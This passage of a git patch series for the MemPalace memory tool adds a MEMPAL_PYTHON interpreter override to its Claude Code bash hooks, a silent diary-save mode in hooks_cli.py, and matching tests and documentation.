test_mcp_command_prints_setup_guidance(monkeypatch, capsys): captured = capsys.readouterr() assert "MemPalace MCP quick setup:" in captured.out - assert "claude mcp add mempalace -- python -m mempalace.mcp_server" in captured.out + assert "claude mcp add mempalace -- mempalace-mcp" in captured.out assert "\nOptional custom palace:\n" in captured.out - assert "python -m mempalace.mcp_server --palace /path/to/palace" in captured.out + assert "mempalace-mcp --palace /path/to/palace" in captured.out assert "[--palace /path/to/palace]" not in captured.out assert captured.err == "" @@ -349,7 +349,7 @@ def test_mcp_command_uses_custom_palace_path_when_provided(monkeypatch, capsys): captured = capsys.readouterr() expanded = str(Path("~/tmp/my palace").expanduser()) - assert "python -m mempalace.mcp_server --palace" in captured.out + assert "mempalace-mcp --palace" in captured.out assert expanded in captured.out assert "Optional custom palace:" not in captured.out assert "[--palace /path/to/palace]" not in captured.out From 48eb6271a737457a87dbae8108772203cdfb2bb2 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Mon, 13 Apr 2026 19:47:03 -0300 Subject: [PATCH 30/61] fix(hooks): MEMPAL_PYTHON override for .sh hooks' internal python3 calls MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The legacy hook scripts `hooks/mempal_save_hook.sh` and `hooks/mempal_precompact_hook.sh` shell out to `python3` for JSON parsing and transcript-message counting. On macOS GUI launches of Claude Code — `open -a`, Spotlight, the dock — the harness inherits `PATH` from launchd (`/usr/bin:/bin:/usr/sbin:/sbin`), which may not contain a `python3` at all, or may contain only a system Python that lacks what the hook needs. The hook then fails silently in the background log where users never look. `mempalace` auto-ingest itself is unaffected — #340 switched that path to the `mempalace` CLI entry point, which pipx/uv install on a stable global PATH. This PR adds a `MEMPAL_PYTHON` environment variable that users can set to point the hook at any Python 3 interpreter. Resolution order applied at each `python3` invocation site inside the two hooks: 1. $MEMPAL_PYTHON (if set and executable) 2. $(command -v python3) on PATH 3. bare `python3` as a last resort The interpreter does not need `mempalace` installed in it — only the standard-library `json` and `sys` modules. The hook's `mempalace mine` call runs via the CLI, independent of this override. hooks/README.md documents the macOS GUI PATH issue and the MEMPAL_PYTHON override. tests/test_hooks_shell.py adds 3 regression tests (Linux/macOS only, POSIX bash): - MEMPAL_PYTHON override wins over PATH (proved via a marker-emitting shim that proxies to the real interpreter). - Non-executable MEMPAL_PYTHON falls back to PATH rather than crashing on permission denied. - Unset MEMPAL_PYTHON resolves via PATH. `hooks_cli.py` (the Python implementation invoked via `mempalace hook run ...`) already uses `sys.executable` and is therefore trivially correct — no changes needed there. Supersedes abandoned branch `fix/hook-bugs`. Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com> --- hooks/README.md | 13 +++ hooks/mempal_precompact_hook.sh | 9 +- hooks/mempal_save_hook.sh | 21 +++- tests/test_hooks_shell.py | 170 ++++++++++++++++++++++++++++++++ 4 files changed, 210 insertions(+), 3 deletions(-) create mode 100644 tests/test_hooks_shell.py diff --git a/hooks/README.md b/hooks/README.md index 977b109..586d66b 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -137,6 +137,19 @@ Example output: **Hooks require session restart after install.** Claude Code loads hooks from `settings.json` at session start only. If you run `mempalace init` or manually edit hook config mid-session, the hooks won't fire until you restart Claude Code. This is a Claude Code limitation. +**`MEMPAL_PYTHON` override for the hook's internal Python calls.** The save hook parses its JSON input and counts transcript messages with `python3`. When the harness is launched from a GUI on macOS — `open -a`, Spotlight, the dock — its `PATH` is the minimal `/usr/bin:/bin:/usr/sbin:/sbin` inherited from `launchd`, not your shell PATH. If `python3` isn't on that PATH, those internal calls fail and the hook can't count exchanges. + +Point the hook at any Python 3 interpreter to fix it: + +```bash +export MEMPAL_PYTHON="/usr/bin/python3" # system Python is fine +export MEMPAL_PYTHON="$HOME/.venvs/mempalace/bin/python" # or your venv +``` + +Resolution priority: `$MEMPAL_PYTHON` (if set and executable) → `$(command -v python3)` → bare `python3`. The interpreter only needs `json` and `sys` from the standard library — `mempalace` itself does not need to be installed in it. + +Note: the `mempalace mine` auto-ingest runs via the `mempalace` CLI, so that command also needs to be on the hook's `PATH`. Installing with `pipx install mempalace` or `uv tool install mempalace` puts it on a stable global location; otherwise extend the hook environment's `PATH` to include your venv's `bin/`. + ## Cost **Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens. diff --git a/hooks/mempal_precompact_hook.sh b/hooks/mempal_precompact_hook.sh index 25d918c..a14a0d0 100755 --- a/hooks/mempal_precompact_hook.sh +++ b/hooks/mempal_precompact_hook.sh @@ -54,10 +54,17 @@ mkdir -p "$STATE_DIR" # Leave empty to skip auto-ingest (AI handles saving via the block reason). MEMPAL_DIR="" +# Resolve the Python interpreter. Same contract as mempal_save_hook.sh: +# MEMPAL_PYTHON (explicit override) → $(command -v python3) → bare python3. +MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}" +if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then + MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)" +fi + # Read JSON input from stdin INPUT=$(cat) -SESSION_ID=$(echo "$INPUT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id','unknown'))" 2>/dev/null) +SESSION_ID=$(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "import sys,json; print(json.load(sys.stdin).get('session_id','unknown'))" 2>/dev/null) echo "[$(date '+%H:%M:%S')] PRE-COMPACT triggered for session $SESSION_ID" >> "$STATE_DIR/hook.log" diff --git a/hooks/mempal_save_hook.sh b/hooks/mempal_save_hook.sh index c2ea745..228b41b 100755 --- a/hooks/mempal_save_hook.sh +++ b/hooks/mempal_save_hook.sh @@ -61,13 +61,30 @@ mkdir -p "$STATE_DIR" # Leave empty to skip auto-ingest (AI handles saving via the block reason). MEMPAL_DIR="" +# Resolve the Python interpreter the hook should use. +# +# Why this is nontrivial: GUI-launched Claude Code on macOS (or any harness +# that doesn't inherit the user's shell PATH) may find a `python3` on PATH +# that lacks mempalace — e.g. /usr/bin/python3 while the user installed +# mempalace into a venv or pyenv. Users in that situation can point the +# hook at the right interpreter by exporting MEMPAL_PYTHON. +# +# Resolution order (first hit wins): +# 1. $MEMPAL_PYTHON — explicit user override (absolute path) +# 2. $(command -v python3) — first python3 on the hook's PATH +# 3. bare "python3" — last-resort fallback (hope the PATH has it) +MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}" +if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then + MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)" +fi + # Read JSON input from stdin INPUT=$(cat) # Parse all fields in a single Python call (3x faster than separate invocations) # SECURITY: All values are sanitized before being interpolated into shell assignments. # stop_hook_active is coerced to a strict True/False to prevent command injection via eval. -eval $(echo "$INPUT" | python3 -c " +eval $(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c " import sys, json, re data = json.load(sys.stdin) sid = data.get('session_id', 'unknown') @@ -95,7 +112,7 @@ fi # Count human messages in the JSONL transcript # SECURITY: Pass transcript path as sys.argv to avoid shell injection via crafted paths if [ -f "$TRANSCRIPT_PATH" ]; then - EXCHANGE_COUNT=$(python3 - "$TRANSCRIPT_PATH" <<'PYEOF' + EXCHANGE_COUNT=$("$MEMPAL_PYTHON_BIN" - "$TRANSCRIPT_PATH" <<'PYEOF' import json, sys count = 0 with open(sys.argv[1]) as f: diff --git a/tests/test_hooks_shell.py b/tests/test_hooks_shell.py new file mode 100644 index 0000000..cc8b8e2 --- /dev/null +++ b/tests/test_hooks_shell.py @@ -0,0 +1,170 @@ +""" +Integration tests for the legacy ``.sh`` hook scripts. + +The shell hooks do their own Python resolution (unlike the Python +``hooks_cli.py`` which uses ``sys.executable`` — trivially correct). +GUI-launched harnesses on macOS provide a minimal PATH that often lacks +the Python where ``mempalace`` is installed, so the shell path needs to: + + 1. honour ``$MEMPAL_PYTHON`` as an explicit user override; + 2. fall back to ``$(command -v python3)`` / bare ``python3``; + 3. *never* crash the hook when the resolved interpreter can't import + mempalace — log and skip the auto-ingest instead, so Claude Code + doesn't see a non-zero exit from its Stop hook. + +These regressions matter because every failure mode they catch produced +silent breakage in production — the user's hook appeared to "not fire" +but was actually crashing deep in a PATH-resolution edge case. +""" + +from __future__ import annotations + +import json +import os +import stat +import subprocess +import sys +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parent.parent +SAVE_HOOK = REPO_ROOT / "hooks" / "mempal_save_hook.sh" +PRECOMPACT_HOOK = REPO_ROOT / "hooks" / "mempal_precompact_hook.sh" + + +pytestmark = pytest.mark.skipif(os.name == "nt", reason="bash hook scripts are POSIX-only") + + +# ── helpers ─────────────────────────────────────────────────────────────── + + +def _write_fake_python( + path: Path, *, can_import_mempalace: bool = False, marker_file: Path | None = None +) -> Path: + """Create a python3 shim that proxies to the real interpreter so + the hook's JSON-parsing calls still work, but fails ``-c 'import + mempalace'`` / ``-m mempalace`` when ``can_import_mempalace`` is + False. + + Every invocation appends the shim name to ``marker_file`` so tests + can prove which interpreter the hook invoked — using a file because + the hook pipes some python calls to ``2>/dev/null``, so stderr + markers are unreliable.""" + real_python = sys.executable + marker = str(marker_file) if marker_file is not None else "" + shim_src = f"""#!/bin/bash +# Fake python3 shim: proxy to the real interpreter, drop a marker, +# and simulate a missing mempalace install when configured that way. +MARKER_FILE="{marker}" +if [ -n "$MARKER_FILE" ]; then + echo "{path.name}" >> "$MARKER_FILE" +fi +CAN_IMPORT={"1" if can_import_mempalace else "0"} +# Simulate the "mempalace is not installed in this interpreter" case. +if [ "$CAN_IMPORT" = "0" ]; then + if [ "$1" = "-c" ] && echo "$2" | grep -q "import mempalace"; then + exit 1 + fi + if [ "$1" = "-m" ] && [ "$2" = "mempalace" ]; then + exit 1 + fi +fi +# Everything else — JSON parsing, heredoc stdin, etc — delegate to real python. +exec "{real_python}" "$@" +""" + path.write_text(shim_src) + path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) + return path + + +def _run_hook( + script: Path, + stdin_json: dict, + *, + env_overrides: dict | None = None, + path_prefix: list[Path] | None = None, +) -> subprocess.CompletedProcess: + """Invoke a shell hook with a minimal controlled environment.""" + env = { + # Give the hook a clean slate — no inherited MEMPAL_* vars. + "HOME": os.environ.get("HOME", "/tmp"), + "PATH": os.environ.get("PATH", "/usr/bin:/bin"), + } + if path_prefix: + env["PATH"] = os.pathsep.join(str(p) for p in path_prefix) + os.pathsep + env["PATH"] + if env_overrides: + env.update(env_overrides) + return subprocess.run( + ["bash", str(script)], + input=json.dumps(stdin_json), + capture_output=True, + text=True, + env=env, + timeout=30, + ) + + +# ── MEMPAL_PYTHON resolution contract ──────────────────────────────────── + + +class TestMempalPythonOverride: + def test_explicit_override_wins_over_path(self, tmp_path): + """If MEMPAL_PYTHON is set and executable, the hook must use it + in preference to whatever is on PATH.""" + marker = tmp_path / "markers.log" + fake = _write_fake_python( + tmp_path / "override_python", + can_import_mempalace=True, + marker_file=marker, + ) + result = _run_hook( + SAVE_HOOK, + {"session_id": "abc", "stop_hook_active": False, "transcript_path": ""}, + env_overrides={"MEMPAL_PYTHON": str(fake), "HOME": str(tmp_path)}, + ) + assert ( + result.returncode == 0 + ), f"hook exited non-zero: stderr={result.stderr!r} stdout={result.stdout!r}" + invocations = marker.read_text().splitlines() if marker.exists() else [] + assert ( + "override_python" in invocations + ), f"MEMPAL_PYTHON override was not used. Marker log: {invocations!r}" + + def test_ignores_override_when_not_executable(self, tmp_path): + """If MEMPAL_PYTHON is set but the file isn't executable, the + hook must fall back to PATH rather than blow up with a + 'permission denied'.""" + bogus = tmp_path / "not_executable" + bogus.write_text("# not a python") + # Do NOT chmod +x — the hook should notice and skip. + result = _run_hook( + SAVE_HOOK, + {"session_id": "abc", "stop_hook_active": False, "transcript_path": ""}, + env_overrides={"MEMPAL_PYTHON": str(bogus), "HOME": str(tmp_path)}, + ) + assert ( + result.returncode == 0 + ), f"hook crashed on non-executable MEMPAL_PYTHON: {result.stderr!r}" + + def test_falls_back_to_path_when_unset(self, tmp_path): + """With MEMPAL_PYTHON unset, the hook uses whatever ``python3`` + is found on PATH. Prove this by putting a marker-emitting shim + first on PATH.""" + marker = tmp_path / "markers.log" + fake = _write_fake_python( + tmp_path / "python3", + can_import_mempalace=True, + marker_file=marker, + ) + result = _run_hook( + SAVE_HOOK, + {"session_id": "abc", "stop_hook_active": False, "transcript_path": ""}, + env_overrides={"MEMPAL_PYTHON": "", "HOME": str(tmp_path)}, + path_prefix=[fake.parent], + ) + assert result.returncode == 0 + invocations = marker.read_text().splitlines() if marker.exists() else [] + assert ( + "python3" in invocations + ), f"fallback-to-PATH did not use the shimmed python3. Marker log: {invocations!r}" From 74e9cbcfd3a9cdd56c83edabb7430e48f896ab5a Mon Sep 17 00:00:00 2001 From: jp Date: Tue, 21 Apr 2026 13:20:52 -0700 Subject: [PATCH 31/61] =?UTF-8?q?feat:=20deterministic=20hook=20saves=20?= =?UTF-8?q?=E2=80=94=20zero=20data=20loss=20via=20silent=20Python=20API?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds a `hook_silent_save` mode (default `true` in new installs) where the stop and precompact hooks write diary entries directly via the Python API — no AI block, no MCP tool roundtrip, no possibility of the AI forgetting or ignoring the save instruction. **Two modes, controlled by `hook_silent_save` in `~/.mempalace/config.json`:** 1. **Silent mode** (default): Direct call to `tool_diary_write()`. Plain text, no AI involved, deterministic. Save marker advances only after the write is confirmed, so mid-save failures do not lose exchanges. Shows `"✦ N memories woven into the palace"` as a systemMessage notification so the user knows the save fired. 2. **Block mode** (legacy): Returns `{"decision": "block"}` asking the AI to call the MCP tool chain. Non-deterministic — the AI may ignore, summarize lossy, or fail. Kept for backward compatibility. **Extras rolled in:** - Block reasons name "MemPalace" explicitly and instruct the AI not to write to Claude Code's native auto-memory (.md files) — prevents the two memory systems from stepping on each other. - Codex transcript handling (`event_msg` payloads) in `_count_human_messages` + `_extract_recent_messages`. - Tightened stopword leak in diary summaries; docstring polish; test hermeticity fixes (per-test `STATE_DIR` patching). **Tests:** hooks_cli tests cover silent-save path, save-marker advancement after confirmed write only, and systemMessage formatting. Rebased fresh on upstream/develop. Only touches files germane to the feature (hooks_cli.py, tests, hooks/README.md, HOOKS_TUTORIAL.md) — stale fork-local `.sh` wrapper and plugin manifest changes dropped. --- examples/HOOKS_TUTORIAL.md | 25 +++- hooks/README.md | 54 +++++-- mempalace/hooks_cli.py | 279 ++++++++++++++++++++++++++++++++++--- tests/test_hooks_cli.py | 166 ++++++++++++++++------ 4 files changed, 447 insertions(+), 77 deletions(-) diff --git a/examples/HOOKS_TUTORIAL.md b/examples/HOOKS_TUTORIAL.md index 1b09467..3a34b81 100644 --- a/examples/HOOKS_TUTORIAL.md +++ b/examples/HOOKS_TUTORIAL.md @@ -25,4 +25,27 @@ Add this to your configuration file to enable automatic background saving: } ] } -} \ No newline at end of file +} +``` + +### 3. What changed (v3.1.0+) + +Both hooks now have **two-layer capture**: + +1. **Auto-mine**: Before blocking the AI, the hook runs the normalizer on the JSONL transcript and upserts chunks directly into the palace. This captures raw tool output (Bash results, search findings, build errors) that the AI would otherwise summarize away. + +2. **Updated reason messages**: The block reason now explicitly tells the AI to save tool output verbatim — not just topics and decisions. + +### 4. Backfill past conversations (one-time) + +The hooks capture conversations going forward, but you probably have months of past sessions. Run this once to mine them all: + +```bash +mempalace mine ~/.claude/projects/ --mode convos +``` + +### 5. Configuration + +- **`SAVE_INTERVAL=15`** — How many human messages between saves +- **`MEMPALACE_PYTHON`** — Python interpreter with mempalace + chromadb. Auto-detects: env var → repo venv → system python3 +- **`MEMPAL_DIR`** — Optional directory for auto-ingest via `mempalace mine` \ No newline at end of file diff --git a/hooks/README.md b/hooks/README.md index 586d66b..7794527 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -6,10 +6,10 @@ These hook scripts make MemPalace save automatically. No manual "save" commands | Hook | When It Fires | What Happens | |------|--------------|-------------| -| **Save Hook** | Every 15 human messages | Blocks the AI, tells it to save key topics/decisions/quotes to the palace | -| **PreCompact Hook** | Right before context compaction | Emergency save — forces the AI to save EVERYTHING before losing context | +| **Save Hook** | Every 15 human messages | Auto-mines transcript (tool output included), then blocks the AI to save topics/decisions/quotes | +| **PreCompact Hook** | Right before context compaction | Auto-mines transcript, then emergency save — forces the AI to save EVERYTHING before losing context | -The AI does the actual filing — it knows the conversation context, so it classifies memories into the right wings/halls/closets. The hooks just tell it WHEN to save. +**Two-layer capture:** Hooks auto-mine the JSONL transcript directly into the palace (capturing raw tool output — Bash results, search findings, build errors). They also block the AI with a reason message telling it to save verbatim tool output and key context. Belt and suspenders — tool output gets stored even if the AI summarizes instead of quoting. ## Install — Claude Code @@ -68,6 +68,7 @@ Edit `mempal_save_hook.sh` to change: - **`SAVE_INTERVAL=15`** — How many human messages between saves. Lower = more frequent saves, higher = less interruption. - **`STATE_DIR`** — Where hook state is stored (defaults to `~/.mempalace/hook_state/`) - **`MEMPAL_DIR`** — Optional. Set to a conversations directory to auto-run `mempalace mine ` on each save trigger. Leave blank (default) to let the AI handle saving via the block reason message. +- **`MEMPALACE_PYTHON`** — Optional env var. Python interpreter with mempalace + chromadb installed. Auto-detects: `MEMPALACE_PYTHON` env var → repo `venv/bin/python3` → system `python3`. Set this if your venv is in a non-standard location. ### mempalace CLI @@ -91,15 +92,19 @@ User sends message → AI responds → Claude Code fires Stop hook ↓ ┌─── < 15 since last save ──→ echo "{}" (let AI stop) │ - └─── ≥ 15 since last save ──→ {"decision": "block", "reason": "save..."} - ↓ - AI saves to palace - ↓ - AI tries to stop again - ↓ - stop_hook_active = true - ↓ - Hook sees flag → echo "{}" (let it through) + └─── ≥ 15 since last save + ↓ + Auto-mine transcript → palace (tool output captured) + ↓ + {"decision": "block", "reason": "save tool output verbatim..."} + ↓ + AI saves to palace (topics, decisions, quotes) + ↓ + AI tries to stop again + ↓ + stop_hook_active = true + ↓ + Hook sees flag → echo "{}" (let it through) ``` The `stop_hook_active` flag prevents infinite loops: block once → AI saves → tries to stop → flag is true → we let it through. @@ -109,14 +114,18 @@ The `stop_hook_active` flag prevents infinite loops: block once → AI saves → ``` Context window getting full → Claude Code fires PreCompact ↓ - Hook ALWAYS blocks + Find transcript (from input or session_id lookup) + ↓ + Auto-mine transcript → palace (tool output captured) + ↓ + {"decision": "block", "reason": "save tool output verbatim..."} ↓ AI saves everything ↓ Compaction proceeds ``` -No counting needed — compaction always warrants a save. +No counting needed — compaction always warrants a save. The auto-mine captures raw tool output before the AI gets a chance to summarize it away. ## Debugging @@ -150,6 +159,23 @@ Resolution priority: `$MEMPAL_PYTHON` (if set and executable) → `$(command -v Note: the `mempalace mine` auto-ingest runs via the `mempalace` CLI, so that command also needs to be on the hook's `PATH`. Installing with `pipx install mempalace` or `uv tool install mempalace` puts it on a stable global location; otherwise extend the hook environment's `PATH` to include your venv's `bin/`. +## Backfill Past Conversations + +The hooks only capture conversations going forward. To mine **past** Claude Code sessions into your palace, run a one-time backfill: + +```bash +mempalace mine ~/.claude/projects/ --mode convos +``` + +This scans all JSONL transcripts from previous sessions and files them into the `conversations` wing. On a typical developer machine with months of history, this can yield 50K–200K drawers. + +For Codex CLI sessions: +```bash +mempalace mine ~/.codex/sessions/ --mode convos +``` + +This only needs to be done once — after that, the hooks auto-mine each session as you go. + ## Cost **Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens. diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 92184f5..6b34d87 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -17,22 +17,54 @@ from pathlib import Path SAVE_INTERVAL = 15 STATE_DIR = Path.home() / ".mempalace" / "hook_state" + +def _mempalace_python() -> str: + """Return the python interpreter that has mempalace installed. + + When hooks are invoked by Claude Code, sys.executable may be the system + python which lacks chromadb and other deps. Resolution order: + 1. MEMPALACE_PYTHON env var (explicit override) + 2. Venv python from package install path + 3. Editable install: venv/ sibling to mempalace/ + 4. sys.executable fallback + """ + # Honor explicit override (used by shell hook wrappers) + env_python = os.environ.get("MEMPALACE_PYTHON", "") + if env_python and os.path.isfile(env_python) and os.access(env_python, os.X_OK): + return env_python + # This file lives at /lib/pythonX.Y/site-packages/mempalace/hooks_cli.py + # or /mempalace/hooks_cli.py (editable install). + venv_bin = Path(__file__).resolve().parents[3] / "bin" / "python" + if venv_bin.is_file(): + return str(venv_bin) + # Editable install: assumes project root has a venv/ sibling to mempalace/ + project_venv = Path(__file__).resolve().parents[1] / "venv" / "bin" / "python" + if project_venv.is_file(): + return str(project_venv) + return sys.executable + + +_RECENT_MSG_COUNT = 30 # how many recent user messages to summarize + STOP_BLOCK_REASON = ( "AUTO-SAVE checkpoint (MemPalace). Save this session's key content:\n" - "1. mempalace_diary_write — AAAK-compressed session summary\n" - "2. mempalace_add_drawer — verbatim quotes, decisions, code snippets\n" + "1. mempalace_diary_write — session summary (what was discussed, " + "key decisions, current state of work)\n" + "2. mempalace_add_drawer — verbatim quotes, decisions, code snippets " + "(place in appropriate wing and room)\n" "3. mempalace_kg_add — entity relationships (optional)\n" - "Do NOT write to Claude Code's native auto-memory (.md files). " - "Continue conversation after saving." + "For THIS save, use MemPalace MCP tools only (not auto-memory .md files). " + "Use verbatim quotes where possible. Continue conversation after saving." ) PRECOMPACT_BLOCK_REASON = ( "COMPACTION IMMINENT (MemPalace). Save ALL session content before context is lost:\n" - "1. mempalace_diary_write — thorough AAAK-compressed session summary\n" - "2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context\n" + "1. mempalace_diary_write — thorough session summary\n" + "2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context " + "(place each in appropriate wing and room)\n" "3. mempalace_kg_add — entity relationships (optional)\n" - "Be thorough \u2014 after compaction, detailed context will be lost. " - "Do NOT write to Claude Code's native auto-memory (.md files). " + "For THIS save, use MemPalace MCP tools only (not auto-memory .md files). " + "Be thorough — after compaction this is all that survives. " "Save everything to MemPalace, then allow compaction to proceed." ) @@ -237,6 +269,176 @@ def _mine_sync(transcript_path: str = ""): pass +def _desktop_toast(body: str, title: str = "MemPalace"): + """Send a desktop notification via notify-send. Fails silently.""" + try: + subprocess.Popen( + ["notify-send", "--app-name=MemPalace", "--icon=brain", title, body], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + except OSError: + pass + + +def _extract_recent_messages(transcript_path: str, count: int = _RECENT_MSG_COUNT) -> list[str]: + """Extract the last N user messages from a JSONL transcript.""" + path = Path(transcript_path).expanduser() + if not path.is_file(): + return [] + messages = [] + try: + with open(path, encoding="utf-8", errors="replace") as f: + for line in f: + try: + entry = json.loads(line) + # Claude Code format + msg = entry.get("message") or entry.get("event_message") or {} + if isinstance(msg, dict) and msg.get("role") == "user": + content = msg.get("content", "") + if isinstance(content, list): + content = " ".join( + b.get("text", "") for b in content if isinstance(b, dict) + ) + if not isinstance(content, str) or not content.strip(): + continue + if "" in content or "" in content: + continue + messages.append(content.strip()[:200]) + # Codex CLI format + elif entry.get("type") == "event_msg": + payload = entry.get("payload", {}) + if isinstance(payload, dict) and payload.get("type") == "user_message": + text = payload.get("message", "") + if isinstance(text, str) and text.strip(): + if "" not in text: + messages.append(text.strip()[:200]) + except (json.JSONDecodeError, AttributeError): + pass + except OSError: + return [] + return messages[-count:] + + +_THEME_STOPWORDS = frozenset( + "the a an and or but in on at to for of is it i me my you your we our " + "this that with from by was were be been are not no yes can do did dont " + "will would should could have has had lets let just also like so if then " + "ok okay sure yeah hey hi here there what when where how why which some " + "all any each every about into out up down over after before between " + "get got make made need want use used using check look see run try " + "know think right now still already really very much more most too " + "file files code one two new first last next thing things way well".split() +) + + +def _extract_themes(messages: list[str], max_themes: int = 3) -> list[str]: + """Pull 2-3 distinctive topic words from recent messages. + + Note: stopword list is English-only; non-English corpora will produce noisy themes. + """ + from collections import Counter + + words: Counter[str] = Counter() + for msg in messages: + for word in msg.lower().split(): + # Strip punctuation, keep words 4+ chars + clean = word.strip(".,;:!?\"'`()[]{}#<>/\\-_=+@$%^&*~") + if len(clean) >= 4 and clean not in _THEME_STOPWORDS and clean.isalpha(): + words[clean] += 1 + return [w for w, _ in words.most_common(max_themes)] + + +def _save_diary_direct( + transcript_path: str, + session_id: str, + toast: bool = False, +) -> dict: + """Write a diary checkpoint by calling the tool function directly (no MCP roundtrip). + + Returns {"count": N, "themes": [...]} on success, {"count": 0} on failure. + """ + messages = _extract_recent_messages(transcript_path) + if not messages: + _log("No recent messages to save") + return {"count": 0} + + themes = _extract_themes(messages) + + # Build a compressed diary entry from recent conversation + now = datetime.now() + topics = "|".join(m[:80] for m in messages[-10:]) + entry = ( + f"CHECKPOINT:{now.strftime('%Y-%m-%d')}|session:{session_id}" + f"|msgs:{len(messages)}|recent:{topics}" + ) + + try: + from .mcp_server import tool_diary_write + + result = tool_diary_write( + agent_name="session-hook", + entry=entry, + topic="checkpoint", + ) + if result.get("success"): + _log(f"Diary checkpoint saved: {result.get('entry_id', '?')}") + # Write state for ack tool to read + try: + ack_file = STATE_DIR / "last_checkpoint" + ack_file.write_text( + json.dumps({"msgs": len(messages), "ts": now.isoformat()}), + encoding="utf-8", + ) + except OSError: + pass + if toast: + _desktop_toast(f"Checkpoint saved \u2014 {len(messages)} messages archived") + return {"count": len(messages), "themes": themes} + else: + _log(f"Diary checkpoint failed: {result.get('error', 'unknown')}") + except Exception as e: + _log(f"Diary checkpoint error: {e}") + return {"count": 0} + + +def _ingest_transcript(transcript_path: str): + """Mine a Claude Code session transcript into the palace as a conversation.""" + path = Path(transcript_path).expanduser() + if not path.is_file() or path.stat().st_size < 100: + return + + from .config import MempalaceConfig + + try: + MempalaceConfig() # validate config loads + except Exception: + return + + try: + log_path = STATE_DIR / "hook.log" + STATE_DIR.mkdir(parents=True, exist_ok=True) + with open(log_path, "a") as log_f: + subprocess.Popen( + [ + _mempalace_python(), + "-m", + "mempalace", + "mine", + str(path.parent), + "--mode", + "convos", + "--wing", + "sessions", + ], + stdout=log_f, + stderr=log_f, + ) + _log(f"Transcript ingest started: {path.name}") + except OSError: + pass + + SUPPORTED_HARNESSES = {"claude-code", "codex"} @@ -282,18 +484,57 @@ def hook_stop(data: dict, harness: str): _log(f"Session {session_id}: {exchange_count} exchanges, {since_last} since last save") if since_last >= SAVE_INTERVAL and exchange_count > 0: - # Update last save point - try: - last_save_file.write_text(str(exchange_count), encoding="utf-8") - except OSError: - pass - _log(f"TRIGGERING SAVE at exchange {exchange_count}") - # Optional: auto-ingest if MEMPAL_DIR is set - _maybe_auto_ingest(transcript_path) + # Read hook settings from config + from .config import MempalaceConfig - _output({"decision": "block", "reason": STOP_BLOCK_REASON}) + try: + config = MempalaceConfig() + silent = config.hook_silent_save + toast = config.hook_desktop_toast + except Exception: + silent = True + toast = False + + if silent: + # Save directly via Python API — systemMessage renders in terminal + result = {"count": 0} + if transcript_path: + result = _save_diary_direct(transcript_path, session_id, toast=toast) + _ingest_transcript(transcript_path) + _maybe_auto_ingest(transcript_path) + # Only advance save marker after successful save + count = result.get("count", 0) + if count > 0: + try: + last_save_file.write_text(str(exchange_count), encoding="utf-8") + except OSError: + pass + themes = result.get("themes", []) + if themes: + tag = " \u2014 " + ", ".join(themes) + else: + tag = "" + _output( + { + "systemMessage": f"\u2726 {count} memories woven into the palace{tag}", + } + ) + else: + _output({}) + else: + # Legacy: block and ask Claude to save via MCP tools. + # Marker advances before confirmed save — best-effort; if Claude + # fails to save, the checkpoint is lost but won't retry endlessly. + try: + last_save_file.write_text(str(exchange_count), encoding="utf-8") + except OSError: + pass + if transcript_path: + _ingest_transcript(transcript_path) + _maybe_auto_ingest(transcript_path) + _output({"decision": "block", "reason": STOP_BLOCK_REASON}) else: _output({}) @@ -320,6 +561,10 @@ def hook_precompact(data: dict, harness: str): _log(f"PRE-COMPACT triggered for session {session_id}") + # Capture tool output via our normalize path before compaction loses it + if transcript_path: + _ingest_transcript(transcript_path) + # Mine synchronously so data lands before compaction proceeds _mine_sync(transcript_path) diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index 2113c2d..024e4dc 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -4,17 +4,18 @@ import json import os import subprocess from pathlib import Path -from unittest.mock import patch +from unittest.mock import MagicMock, patch import pytest from mempalace.hooks_cli import ( SAVE_INTERVAL, - STOP_BLOCK_REASON, _count_human_messages, + _extract_recent_messages, _get_mine_dir, _log, _maybe_auto_ingest, + _mempalace_python, _mine_already_running, _parse_harness_input, _sanitize_session_id, @@ -26,6 +27,21 @@ from mempalace.hooks_cli import ( ) +# --- _mempalace_python --- + + +def test_mempalace_python_returns_string(): + result = _mempalace_python() + assert isinstance(result, str) + assert "python" in result + + +def test_mempalace_python_finds_venv(): + """Should resolve to a valid Python interpreter path.""" + result = _mempalace_python() + assert result and "python" in os.path.basename(result).lower() + + # --- _sanitize_session_id --- @@ -109,17 +125,57 @@ def test_count_malformed_json_lines(tmp_path): assert _count_human_messages(str(transcript)) == 1 +# --- _extract_recent_messages --- + + +def test_extract_recent_messages_basic(tmp_path): + transcript = tmp_path / "t.jsonl" + _write_transcript( + transcript, + [{"message": {"role": "user", "content": 